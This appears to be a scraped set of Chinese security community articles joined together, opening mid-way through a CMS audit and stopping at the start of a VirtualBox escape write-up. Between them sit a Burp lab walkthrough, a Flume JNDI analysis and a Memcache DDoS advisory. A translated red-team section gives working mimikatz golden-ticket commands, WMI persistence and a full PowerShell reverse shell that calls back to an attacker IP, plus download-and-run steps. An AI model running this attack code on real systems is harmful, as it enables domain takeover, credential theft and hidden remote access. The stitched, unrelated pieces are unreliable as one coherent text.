model($controller)`返回模型对象。后续的数据库操作是以模型对象来进行的，而数据库的表名默认是模型名，所以这两行代码可以理解为由哪个控制器调用就操作与哪个控制器同名的表。
跟进下search方法
作用相当于将`$param`里的数组添加到`where['map']`；所以get请求不要添加参数，让`$param`置空，返回全部数据
接下来看edit方法
同样的没有任何限制，跟进下isAjax方法
可以看到只要var_ajax的伪装变量在参数中存在，就返回true
var_ajax的默认伪装名为`_ajax`
所以只要在POST请求中添加参数`_ajax=1`就能进入判断
继续
allowField用于检验请求的列名是否存在
如果不是Ajax请求，则将id作为筛选条件，返回查询数据
配合上文的index方法获取的id，即可进行修改和查询
POC:
查询：
修改：
增加和删除的代码和上面的几乎一样，所以就不分析了
增加：
删除：
### 任意文件上传
可以看到什么过滤都没，还贴心的返回路径给你
POC:
## 0x05 一些XSS
上文已知只要控制器没做好鉴权，就可以调用Controller.php里的方法；我们可以利用这点，添加带有XSS的文本到数据库里
首先看下Base控制器
代码很简单，但也能做到基本的鉴权
接下来看`Page.php`控制器
把父类继承的鉴权方法重写置空，不知道作者为什么要这样写，跟故意留个后门一样
其他控制器如`Product.php`、`Service.php`、`Xcxaccount.php`都像`Page.php`一样无效鉴权，这里只挑两个进行演示
POC：
## 结语
这个cms审起来比较轻松，漏洞都比较简单且典型，属于有手就行系列。
第一次写审计类的文章，没办法做到详略得当，还请各位师傅多多包涵。 | 社区文章 |
# 梨子带你刷burpsuite靶场系列之服务器端漏洞篇 - 信息泄漏专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 服务器端漏洞篇介绍
> burp官方说他们建议初学者先看服务器漏洞篇，因为初学者只需要了解服务器端发生了什么就可以了
## 服务器端漏洞篇 – 信息泄漏专题
### 什么是信息泄漏？
burp好严谨啊，什么是信息泄漏，如果没有阅读障碍的话，信息泄漏应该就是信息泄漏了吧，好，废话不多说，那么信息泄漏一般会泄漏哪些信息呢？
* 用户相关信息
* 敏感的商业数据
* 有关网站及其基础架构的技术细节
这里说的技术细节就类似一些配置文件的泄漏啊，组件信息之类的这种的，信息泄漏不会直接对应用程序造成伤害，但是可以为攻击者进行下一步攻击提供很大帮助
### 有哪些信息泄漏的例子呢？
* 通过robots.txt文件或目录列表显示隐藏目录的名称，结构及其内容
* 通过临时备份提供对源代码文件的访问
* 在错误消息中明确提及数据库表或列名
* 不必要地暴露高度敏感的信息，例如信用卡详细信息
* 在源代码中对API密钥，IP地址，数据库凭据等进行硬编码
* 通过应用程序行为的细微差别来提示是否存在资源，用户名等
上面是burp列举出来的信息泄漏的例子，我们简单讲一下
第一个很好理解，robots.txt本来是一个相当于给搜索引擎爬虫的指引文件，但是里面会标明一些不让搜索引擎爬虫爬取的目录，那这不明摆着暗示这些目录是敏感目录嘛，这就属于泄漏了敏感的网站目录了
第二个呢就是有一些组件可以生成一些备份文件，备份文件就拥有和源文件相同的内容，如果这类文件泄漏的话，攻击者就可以从中还原出源文件，比如.svn，.git，.bak之类的，还是比较危险的
第三个其实在我们看来并不算是信息泄漏的范畴，但是burp将其归纳到了信息泄漏里面，我们一般称之为报错注入
第四个就属于个人敏感信息泄漏了，比如信用卡安全码啊，身份证号啊，手机号服务密码之类的，信用卡安全和手机号服务密码是最后一道防线，如果泄漏了，就会被信用卡中心或者手机号中心认定为本人所有，非常危险，所以大家一定要保管好哦
第五个也很危险，与上一条类似，如果泄漏了API密钥，数据库凭据这一类信息的话，API和数据库就会因为通过验证而被攻击者滥用，说不定还会做一些不好的事情，因为图方便嘛，开发者一般会将这一类信息硬编码在相关配置文件中，所以要么采取严格的访问控制手段不让其他人访问到配置文件，要么采用每次使用都需要手动输入的方式来缓解这种风险
第六个可以用来搭配目录遍历或者用户名枚举之类的，这些信息对于攻击者来说也是非常有用的
### 如何测试信息泄漏漏洞？
burp建议测试这类漏洞的时候不要局限在漏洞上，因为信息泄漏可能发生在任何地方，下面介绍几种测试信息泄漏漏洞的方法
### fuzz(模糊测试)
模糊测试就是你发现了一个可能会有异常的参数点，但是又不确定，所以可以通过对参数点所有或者大部分可能的情况进行一个遍历，然后观察是否有预期的异常，burp给出了一下几点指导
* 在Intruder中将可疑参数点设置为payload位，并填充由可能的情况组成的列表(字典)
* 通过观察状态码，响应时间，长度等判断异常情况
* 使用Option中的Grep功能可以对响应进行特征提取方便筛选出预期结果
burp推荐有兴趣的可以试试logger++，拥有更多提取特征值的技术，梨子简单地看了一下，太强大了，还是有时间再研究吧
### 使用Burp辅助工具(engagement tools)
为什么还要打个括号，因为直接说辅助工具大家可能不太知道是哪个东西，而且如果直译的话大家可能更难理解了，所以我们结合这个模块的作用，以及engagement的单独翻译，梨子打算翻译成辅助工具，非常的贴切，下面我们来看看它都有哪些功能吧
### Search
为了避免大家找不到相应的工具，我们这里采用原文，这款工具拥有多种搜索方式，包括正则，反选等，它可以列出所有符合条件的请求包，但是梨子发现现在这个模块已经不在engagement
tools里面了， 现在换到了左上角的burp功能栏里
### Find comments
好家伙，这个工具就厉害了，可以快速地在所选请求包中提取所有开发者注释，这绝对是检测信息泄漏的利器呀，有的开发者比较粗心的没有完全清除注释就上线了，这些注释中有时也会给攻击者一些提示
### Discover content
这个功能简单讲就是一个爬虫，会递归地把目录爬出来，有的时候我们肉眼看到的页面并不是全部，有的页面入口是我们很难发现的，这时候用这个模块就可以发现这些入口，经常会有惊喜的，嘻嘻嘻
### 常见的信息泄漏来源
### 网络爬虫指引文件
很多网站为了提高网站的搜索指数，会在/robots.txt和/sitemap.xml中进行一些指示，当然了，他们也可以在其中指定一些不允许爬虫爬取的目录，那么这些目录就可以认为是比较敏感的目录，这些目录可以给攻击者提供很多有利的信息
### 目录遍历
有的应用程序采用了默认配置，会自动显示出整个应用系统的文件结构，虽然这本身不算漏洞，但是攻击者能够看到完整的目录结构，这就为他们攻击提供了非常好的帮助，如果还有任意文件下载漏洞的话，攻击者甚至可以将整个应用程序下载下来，这就更危险了
### 开发者注释
我们在讲Find
comments就讲过，开发者在将应用程序上线时会忘记删除某些注释，这就导致可能会会泄露一些敏感信息，万一有开发者图省事将密码，内网地址之类的写在注释里，这就为攻击者后续攻击提供了极大的便利
### 报错信息
报错信息也可能给攻击者提示，比如输入非常规值会报错提示常规值的范围，发出非常规请求会报错提示使用的组件种类及版本，这时候就可以到网络上寻找相关版本攻击的复现文章或视频了，而且，一些组件的官方文档中还会着重标注可能会引发错误的点，这就相当于暗示了，如果通过报错信息得知应用程序采用了某种开源框架，还可以通过审计其源码寻找漏洞，代码审计就像开了上帝视角一样，还有类似报错注入，用户名枚举之类利用报错信息攻击的手段
### 配套靶场：报错信息中的信息泄漏
我们发现应用程序是通过纯数字来定位商品，那么我们要是换成字符串呢
哦？我们看到不仅报错了，还告诉我们使用的中间件类型还有版本，有了这个版本号我们就可以对症下药去找相关的复现文章或利用工具了
### 调试数据
与开发者注释类似，开发者为了方便调试会生成一些自定义的调试信息，用来为进一步调试做指导，但是如果这些调试数据展示给攻击者，那就不是为进一步调试做指导了，而是为后续攻击做指导了，调试数据可能包含以下有效攻击提示
* 可以通过用户输入操作的关键会话变量的值
* 后端组件的主机名和凭据
* 服务器上的文件和目录名称
* 用于加密通过客户端传输的数据的密钥
有的时候还会生成存储调试数据的文件，如果攻击者能够访问到这个文件就也可以获取某些有效信息
### 配套靶场：调试页面上的信息泄漏
页面没有什么异常，我们f12看一下，发现了一条线索
这提示的也太明显了吧，反正理解这个原理就好，然后我们尝试访问这个文件
=
好的！我们看到了phpinfo中泄漏了一个很重要的SECRET_KEY，这个key据说有很大用处，大家感兴趣的可以自行百度一下
### 用户账户页面
用户账户页面也会暴露用户的很多信息，但是一般来讲，只有自己能看到自己的页面，那么如果我通过某种漏洞让我可以看到其他人的，这就导致他人的敏感信息也被我看到了，这就可能会导致各种功能的冒用，但是这里要结合其他漏洞来讲，所以等到我们后面讲访问控制和IDOR漏洞的时候再深入讲解
### 利用备份文件泄漏源代码
前面有简单讲过，备份文件可以还原出完整或者部分的应用程序源代码，这些源代码中包含着很多对攻击者有利的信息，通过审计源码甚至可以很容易地制定攻击方案，或者从源代码也可以泄漏API密钥，从而冒用其API去做一些不好的事情，有一些文本编辑器也是，意外退出时备份文件也不会被删除，里面保存着与文本文件相同的内容，很容易就恢复出来了
### 配套靶场：利用备份文件泄漏源代码
页面和f12都没什么东西，那我们看看robots.txt里面有没有什么有趣的东西
好的，有好东西，这里提示我们这个目录是不允许爬取的，那我们直接访问可以吧，嘻嘻嘻
我们发现了一个备份文件，我们访问一下这个文件
我们在文件中发现了硬编码的数据库密码诶
### 由不安全配置导致的信息泄漏
有的应用程序会采用很多第三方的组件，但是如果对这些组件没有那么熟悉就导致采用了不安全的配置，从而给攻击者可乘之机，比如安全人员忘记关掉只有调试的时候才会开启的TRACE请求方法，导致攻击者也可以通过发出TRACE请求获取详细的请求包信息，这里面可能包括内网地址之类的
### 配套靶场：利用信息泄漏绕过身份验证
这道题目目的是想让我们删除用户，于是我们访问一下/admin
页面提示我们只有本地用户才允许访问，于是我们利用刚学的新知识TRACE请求一下
发现响应会显示我们完整的请求信息，还会显示服务端接收到的源IP是多少，那既然本地才能访问，我们请求的时候直接把该字段修改成本地地址试试
我们发现服务端接收到的也是我们修改以后的源IP地址，那我们就可以顺利访问/admin了
好的，我们成功访问到了/admin页面，然后我们就可以删除指定用户了
现在我们看到已经成功删除指定用户了
### 版本控制历史
一般搞开发的都会弄版本控制，比如git啊，svn啊之类的，拿git来讲，它会将版本控制信息放在.git文件夹中，用户访问它就可以下载下来，然后就可以通过各种办法恢复里面的信息，里面可能会有一些硬编码的敏感信息之类的
### 配套靶场：版本控制历史中的信息泄漏
首先我们先把/.git文件夹下载下来
`wget -r https://[靶场ID].web-security-academy.net/.git`
然后查看里面的HEAD文件
`cat HEAD`
然后再利用git cat-file -p [refs/heads/master中的hash值]还原文件
我们看到里面有一条消息”Remove admin password from config”，然后我们再利用里面的hash值继续恢复文件
胜利就在眼前了，结果我们一路恢复
好家伙，我们恢复了这么多文件才恢复出来，可能梨子还是不太了解git的结构吧，当然了，现在已经有很多可以快速从.git文件夹恢复的工具了，大家感兴趣的可以搜索一下，拿到管理员密码以后就能像之前一样登录administrator然后删除指定用户了
## 如何防止信息泄漏漏洞？
burp对于非常棘手的信息泄漏提供了以下防护建议
* 确保参与开发应用程序的所有人员知道哪些是敏感信息，往往看似无害的信息也会成为攻击者利用的点
* 完整审计代码以发现隐藏的信息泄漏风险
* 尽量提供一般性的错误信息，即不要给出详细的报错信息，比如仅提示某些必须提供的信息有误之类的
* 再三检查应用程序上线前已关闭所有调试模式及选项
* 对第三方组件完全了解并禁用所有不相关的功能
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之服务器端漏洞篇 –
信息泄漏专题的全部内容啦，总体看来信息泄漏的危害可大可小，但是都是不容忽视的风险，尤其是要谨防源代码泄漏，一旦攻击者拿到源代码则会因为全面进行代码审计而暴露出大量的漏洞，还有就是各种凭证的泄漏，也是很危险的，当然了，还要保护用户的个人隐私不被泄露，这对一个企业信誉往往有着很大的影响，好的，大家有任何问题可以在评论区讨论哦！ | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/zS2TBfBsK1gzkLxs5u3GmQ>**
## **项目介绍**
Apache Flume
是一个分布式的，可靠的，并且可用于高效地收集，汇总和移动大量日志数据的软件。它具有基于流数据流的简单而灵活的体系结构。它具有可调的可靠性机制以及许多故障转移和恢复机制，并且具有健壮性和容错性。它使用一个简单的可扩展数据模型，该模型允许进行在线分析应用程序。
## **漏洞描述**
在7月22日，Apache发布安全公告，修复了一个存在于Apache
Flume中的远程代码执行漏洞，CVE编号为CVE-2022-34916。当攻击者控制目标 LDAP 服务器时，如果配置使用带有 JNDI LDAP 数据源
URI 的 JMS 源，Apache Flume 版本 1.4.0 到 1.10.0 很容易受到远程代码执行 (RCE) 攻击。
## **利用范围**
1.4.0 <= Apache Flume <= 1.10.0
## **漏洞分析**
#### **环境搭建**
从GitHub上下载1.10.0版本，导入IDEA。
项目jdk使用1.8，然后修改TestIntegrationActiveMQ
测试类中的DESTINATION_NAME，因为destinationName是由DESTINATION_NAME
定义；修改JNDI_PREFIX为ldap://
在JMSMessageConsumerTestBase.java中将destinationLocator =
JMSDestinationLocator.CDI;修改为destinationLocator = JMSDestinationLocator.JNDI;
最后运行TestIntegrationActiveMQ 测试类即可。
#### **漏洞原理**
根据Apache Flume漏洞描述，可以确定问题是出现在了JMSMessageConsumer中。
查看DIff（<https://github.com/apache/flume/commit/7fe9af49>）
记录发现，修复方式是在JMSMessageConsumer中的else分支下，在initialContext.lookup(destinationName)前新增了对destinationName的校验。
那么漏洞触发点已经很明确了，在没有增加校验前，只要进入JMSMessageConsumer中else分支，控制destinationName参数，即可实现JNDI注入。
#### **代码分析**
知道了漏洞原理后，分析一下代码。
首先在TestJMSMessageConsumer#testCreateDurableSubscription 初始化了
JMSMessageConsumer 并传入 destinationLocator
destinationLocator的定义是在JMSMessageConsumerTestBase.java中。
在搭建环境时，我们是将destinationLocator =
JMSDestinationLocator.CDI；修改为了destinationLocator =
JMSDestinationLocator.JNDI；
这样配置，是为了在JMSMessageConsumer中不满足if条件后，能够进入到else，到达漏洞触发点。
而在官方提供的测试类中，TestIntegrationActiveMQ 类存在
testQueueLocatedWithJndi，将作为source点传入参数。
修改DESTINATION_NAME为恶意JNDI地址，将JNDI_PREFIX修改为ldap://
通过参数的传入，经过如上分析的流程，到达else后，由于没有校验，直接触发initialContext.lookup，造成JNDI注入，从而执行恶意远程代码。
## **漏洞复现**
## **修复建议**
官方已发布安全版本，请尽快更新至安全版本，下载链接：<https://flume.apache.org/download.html>
## **参考材料**
1.<https://github.com/apache/flume/commit/7fe9af49>
2.<https://issues.apache.org/jira/browse/FLUME-3428>
* * * | 社区文章 |
# [预警]利用 Memcache 作为 DRDoS 反射放大器进行 DDoS 攻击
##### 译文声明
本文是翻译文章，文章来源：cert.360.cn
原文地址：<https://cert.360.cn/warning/detail?id=c63eb87058834e37c7c112c35ef5f9fd>
译文仅供参考，具体内容表达以及含义原文为准。
> 报告编号： B6-2018-030102
>
> 报告来源： 360CERT
>
> 报告作者： 360信息安全部0kee Team，360netlab，360CERT
>
> 更新日期： 2018-03-01
## 事件背景
近日，我们看到一种利用Memcache作为DRDoS放大器进行放大的DDoS攻击，其利用memcached协议，发送大量带有被害者IP地址的UDP数据包给放大器主机，然后放大器主机对伪造的IP地址源做出大量回应，形成分布式拒绝服务攻击，从而形成DRDoS反射。
早在2017年6月，360信息安全部0kee Team就发现了这种利用Memcache放大的攻击技术，并通过PoC2017安全会议对安全社区做出了预警。
## 事件影响面
**漏洞风险等级高，影响广泛** ：
在外开放的memcache存储系统
**Memcache全网服务预估** ：
通过360CERT QUAKE全网测绘显示，在外开放的Memcache存储系统有`94489`，在十万量级上下
其中美国最多，占`38899`，中国次之，占`22944`：
国内情况，香港地区数量最多，分布如下：
**攻击强度** ：
通过360netlab DDoSMon监测， 近期内Memcrashed事件攻击情况如下
由于Memcache作为放大器数量稳定，近几天攻击开始陡增，且生成带宽极大
**影响范围** ：
通过360信息安全部0kee Team提供的数据可知可能存在memcached反射器的全球ASN top20 如下
从上述ASN信息上看，可简单分为如下几类：
* ec2: aliyun,tencent,aws,azure,google cloud
* vps: digital ocean,linode,vultr,godaddy
* dedicated server: ovh,online
* idc
全球memcached国家分布如下
从国家分布上看:
* 中美都是名列前茅，因为其体量和基数都是比较全世界份额较高
* 360CERT QUAKE全网测绘中，开放主机数量上，美国第一，中国第二，但受影响的数量却相反
## 漏洞细节
* **关于DDoS放大** ：
* 作为攻击者，需要伪造IP。发送海海量量伪造来源的请求。未采取BCP38的机房(firewallrules and uRPF)。
* 作为反射服务器，需要满足2个条件，第一，上面运行着容易放大的的udp协议，即使用不当或设计不当的udp服务，能够满足特定条件下，响应包远远大于请求包。第二，该协议或服务在互联网上有一定的使用量，如dns，ntp等基础服务。
* 受害者，由于ddos的意图，受害者一般是金融，游戏，政治等目标，或出于破坏，炫技等目的。
* **关于Memcrashed** ：
1. 由于Memcache同时监听TCP和UDP，天然满足反射DDoS条件。
2. Memcache作为企业应用组建，其业务特性保证了具有较高上传带宽。
3. Memcache不需要认证即可进行交互。
4. 很多用户在编译安装时，将服务错误监听在`0.0.0.0`，且未进行iptables规则配置或云安全租户配置。
* **攻击流程** ：
1. 扫描全网端口服务。
2. 进行指纹识别，获取未认证的Memcache。
3. 过滤所有可以反射的UDP Memcache。
4. 插入数据状态进行反射。
* **攻击效果** ： 如360信息安全部0kee Team之前在社区所言，单台发送最高达到了`816200`，最低也有`382099`
我们随机选择一台可利用主机，进行实际测试，目标为我们自己的AWS
ec2，发现在实际情况中，单台反射流量达到了700m/s，稳定500m/s，通过之前的研究，全网可利用主机数量在5万以上量级。
## 缓解措施
**对于Memcache使用者**
* memcache的用户建议将服务放置于可信域内，有外网时不要监听 `0.0.0.0`，有特殊需求可以设置acl或者添加安全组。
* 为预防机器器扫描和ssrf等攻击，修改memcache默认监听端口。
* 升级到最新版本的memcache，并且使用SASL设置密码来进行权限控制。
**对于网络层防御**
* 多个ISP已经对UDP11211进行限速。
* 打击攻击源：互联网服务提供商应当禁止在网络上执行IP欺骗。IP欺骗DRDoS的根本原因。具体措施可以参考BCP38。
* ISP应允许用户使用 BGP flowspec 限制入站UDP11211的流量，以减轻大型DRDoS攻击时的拥堵。
## 总结
**本次Memcrashed技术特点** ：
* 反射倍数较大，已经确认可以稳定的达到5万倍
* 反射点带宽充裕，且主要来自IDC机房服务器
**本次Memcrashed攻击特点** ：
* 反射点分布，中国占较大比例（43%）
* 攻击频率，最近一周（2018-02-24日开始）突然上升了一个数量级。之前约 <50 件/天，当前约 300～400 件/天
* 实际现网中，已经出现了 0.5Tbps 的攻击，并且我们相信有更大的攻击案例并未被公开报道
在接下来的一段时间内，我们预计会出现更多利用memcached进行DRDoS的事件，如果本次攻击效果被其他DDoS团队所效仿，将会带来后果更严重的攻击。
## 时间线
**2017-06-30** 至 **2017-06-30** 360信息安全部0kee Team研究发现Memcache反射攻击技术
**2017-11-05** 至 **2017-11-05** 360信息安全部0kee Team于PoC2017演讲并向社区预警该问题
**2018-03-01** 至 **2018-03-01** 360CERT对Memcrashed发出预警公告
## 参考链接
1. <http://powerofcommunity.net/poc2017/shengbao.pdf>
2. <http://www.bcp38.info/index.php/Main_Page> | 社区文章 |
# 【技术分享】公司智能手机安全（三）—— 瞄准域控制器与寻找Golden Ticket
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/extra-miles/#article>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[村雨其实没有雨](http://bobao.360.cn/member/contribute?uid=2671379114)
预估稿费：110RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
本系列前面两个章节，请参见[ **这里**](http://bobao.360.cn/learning/detail/3762.html)和[
**这里**](http://bobao.360.cn/learning/detail/3763.html)
在离开内部网络前，我们决定取得域控制器的哈希，特别是Kerberos账户(krbtgt)，想要创建一个Golden Ticket*。
译者注：Golden Ticket是指伪造的TGT(Ticket Granting Ticket)，同理Silver
Ticket是伪造的TGS(Ticket Granting Server)
Golden Ticket攻击能够让我们创建离线的Kerberos
TGT来进行未授权访问，并且伪造任何域用户。此外，它的有效期是十年，换言之只要它被创建了，即使域管理员的凭证发生了改变，也会有效。这是一个权限维持的极佳案例，不是吗？
为了实现这个任务，我们需要的有：
**krbtgt哈希**
**域SID**
**用户名(这里是Administrator)**
**域名称（这里是SUPERCOMPANY）**
以类似的方式(SRVWSUS上的端口转发，改良过的SMBExec等)，我们目前在域控制器上拿到了一个新的本地管理员权限的Powershell。
我们执行了混淆过的mimikatz来获取活动目录用于数据，并将他们保存在hash.txt中:
invoke-mymy -command ‘privilege::debug “LSADump::LSA /inject”‘ > hash.txt
The mimikatz script was without the auto-invoke command at the end of the file. We exfiltrated the hash file to our web server. This was its content:
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 3003567af268a4aXXXXXXXXXXXXXXXXX
Using get-addomain cmdlet, which is automatically imported on Domain Controllers, we got the domain SID:
PS C:test> get-addomain
AllowedDNSSuffixes : {}
ChildDomains : {}
ComputersContainer : CN=Computers,DC=supercompany,DC=local
DeletedObjectsContainer : CN=Deleted Objects,DC=supercompany,DC=local
DistinguishedName : DC=supercompany,DC=local
DNSRoot : supercompany.local
DomainControllersContainer : OU=Domain
Controllers,DC=supercompany,DC=local
DomainMode : Windows2012R2Domain
DomainSID : S-1-5-21-3534665177-2148510708-2241433719
…
注意：我们可以从由mimikatz获得的管理员（其uid = 500）获取域SID：
S-1-5-21-3534665177-2148510708-2241433719-500
现在是时候创建我们的Golden Ticket了
invoke-mymy -command ‘”privilege::debug” “Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb”‘
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. “A La Vie, A L’Amour”
## / ## /* * *
## / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ with 20 modules * * */
mimikatz(powershell) # privilege::debug
Privilege ’20’ OK
mimikatz(powershell) # Kerberos::golden /admin:Administrator /domain:supercompany.LOCAL /sid:S-1-5-21-3534665177-2148510708-2241433719 /krbtgt:3003567af268a4a94e26f410e84353f1 /ticket:admin.krb
User : Administrator
Domain : supercompany.LOCAL (SUPERCOMPANY)
SID : S-1-5-21-3534665177-2148510708-2241433719
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 3003567af268a4a94e26f410e84353f1 – rc4_hmac_nt
Lifetime : 2/17/2017 4:02:10 PM ; 2/17/2027 4:02:10 PM ; 3/3/2027 4:02:10 PM
-> Ticket : admin.krb
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
最后将Ticket存到文件中就好了,在这之后，我们挑出admin.krb文件，之后会用到。
**权限维持**
在离开系统之前，我们必须设置一个能够维持对暴露在公网的服务器访问的方法，以供日后使用。在这一步，不被发现并不容易，即使是新手系统管理员也会发现一些端倪。
我们选择了一个机遇WMI特性的更加复杂的方法，利用了InstanceModificationEvent。
在一个WMI对象实例改变了它的寄存器时，它都是作为一个InstanceModificationEvent。在这样的条件下，我们过滤了事件系统启动时间，在系统启动200到300秒之内，我们将为eventconsumer提供一个commandlineeventconsumer。
在SRVWSUS这台服务器上，我们发送了以下命令：
$filterName = “JustForTestFilter”
$consumerName = “JustForTestConsumer”
$exePath = “C:windowshelpwindowsindexstorer.bat”
$Query = “SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System’ AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 300”
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace “rootsubscription” -Arguments @{Name=$filterName;EventNameSpace=”rootcimv2″;QueryLanguage=”WQL”;Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace “rootsubscription” -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace “rootsubscription” -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
然后再windows隐藏的文件夹里，创建了r.bat，内容如下：
powershell -executionpolicy bypass -windowstyle hidden -f C:windowshelpwindowsindexstorer.ps1
而r.ps1文件的内容是：
$c=New-Object System.Net.Sockets.TCPClient(‘<OUR_PUBLIC_IP>’,443);
$s=$c.GetStream();[byte[]]$b=0..65535|%{0};
while(($i=$s.Read($b,0,$b.Length))-ne 0){;
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb=(IEX $data 2>&1 | Out-String );
$sb2=$sb+’PS ‘+(pwd).Path + ‘> ‘;
$sb=([text.encoding]::ASCII).GetBytes($sb2);
$s.Write($sb,0,$sb.Length);
$s.Flush()};
$c.Close()”
这将保证它在重新启动时通过SRVWSUS执行本地SYSTEM权限的远程shell。
最后，我们测试了我们拿到的Golden Ticket，还记得admin.krb这个文件吗？
通过SRVWSUS本地系统管理员权限的shell，我们下载了admin.krb，配置了端口转发，并将带有回连指令的脚本r3.ps1上传到SRVWSUS的9000端口。
现在我们在session中加载Ticket：
PS C:tmp>Invoke-mymy -command ‘”kerberos::ptt admin.krb”‘
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. “A La Vie, A L’Amour”
## / ## /* * *
## / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo)
‘#####’ with 20 modules * * */
mimikatz(powershell) # kerberos::ptt admin.krb
* File: ‘admin.krb’: OK
Using klist it is possible to list our loaded Kerberos tokens:
PS C:tmp> klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ supercompany.LOCAL
Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
Start Time: 2/17/2017 1:02:10 (local)
End Time: 2/17/2027 1:02:10 (local)
Renew Time: 2/18/2027 1:02:10 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
成功了，Ticket成功加载了！
对于下一个操作，我们使用Windows wmic.exe实用程序，它是一个WMI的命令行接口程序，允许通过Kerberos凭证来访问远程系统。
我们在域控制器上复制了r3.ps1，没有任何问题，只需将管理员的Ticket加载到我们的会话中！
PS C:tmp>copy c:tmpr3.ps1 \SRVDC1C$windowstempr3.ps1″
然后运行：
PS C:tmp> wmic /authority:”kerberos:SUPERCOMPANYSRVDC1″ /node:SRVDC1 process call create “powershell -executionpolicy bypass -windowstyle hidden -f c:windowstempr3.ps1”
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 4528;
ReturnValue = 0;
};
我们叉着手等了一会，在我们的电脑上就看到了来自SRVDC1的shell：
PS C:Windowssystem32> whoami
supercompanyadministrator
即使Administrator的密码变了，这种手段也会奏效。
关于Golden Ticket的潜在危险，我有几句话要说：
发现伪造的Kerberos Tickets非常困难(<https://adsecurity.org/?p=1515> )
在有证据的情况下，唯一的方法就是重置krbtg密码两次，但这可能会对Active Directory Infrastructure造成严重影响
**最后要做的**
还记得我们是怎么在SRVWSUS获得第一个powershell远程shell的吗？
我们从企业内部网络的服务器执行了一个远程命令，通过安卓手机的Meterpreter转发这个连接。要是我们失去了Powershell的远程shell，并且再也没有连接到受害者怎么办？Game
Over…
我们需要添加对SRVWSUS shell的持久访问权！
怎么做呢？答案是通过从Tomcat的webshell添加访问SRVWSUS的功能：
# 1st smbexec command:
IEX (New-Object Net.WebClient).DownloadFile(`’http://<OUR_PUBLIC_IP>/r1.ps1`’,
`’c:tmpr1.ps1`’)
# 2nd smbexec command:
IEX (New-Object Net.WebClient).DownloadFile(`’http://<OUR_PUBLIC_IP>/r1.bat`’,
`’c:tmpr1.bat`’)
# 3rd smbexec command:
‘cmd /c c:tmpr1.bat’
What does r1.bat contain?
@echo off
:loop
powershell -executionpolicy bypass -windowstyle hidden -f c:tmpr.ps1
timeout /t 10
goto loop
虽不优雅，但是有效。一旦丢失了连接，等待十秒钟就会重新回连。
我们当然可以加密混淆所有的.ps1脚本，但我们就是想给你展示它的原理。
**结论**
这就是我们的工作，并没有发明什么新的东西，但是使用Windows内置的功能和一些脚本，我们做了件大事。有时候我们并不需要什么魔法一样的工具，只需要K.I.S.S.原则。
总之，聪明的去办事吧！ | 社区文章 |
# 前言
将目光聚焦到2018年10月，我注意到 Niklas
Baumstark发表了一篇关于VirtualBox的chromium库的一篇[文章](https://phoenhex.re/2018-07-27/better-slow-than-sorry "文章")。在这之后的两周，我发现并报告了十几个可以轻松实现虚拟机逃逸的漏洞。但VM逃逸的原理都千篇一律。
2018年12月底，我注意到Niklas发了一条关于3C35
CTF的推文，他称VirtualBox挑战chromacity尚未被任何人解决。这句话勾起了我的好奇心，我想要成为第一个攻克这个难题的人。
# 挑战
挑战是要以64位xubuntu上以VirtualBox v5.2.22为目标，实现虚拟机逃逸。这个挑战包含了一个提示，提示是API
`glShaderSource()`文档的一张图片。起初，我认为是出题方为了出题人为地在这个函数中注入了一个bug，然而，在查看了它在chromium中的实现之后，我意识到这个bug是真实存在的。
# 漏洞
下面是`src/VBox/HostServices/SharedOpenGL/unpacker/unpack_shaders.c`的代码摘录
void crUnpackExtendShaderSource(void)
{
GLint *length = NULL;
GLuint shader = READ_DATA(8, GLuint);
GLsizei count = READ_DATA(12, GLsizei);
GLint hasNonLocalLen = READ_DATA(16, GLsizei);
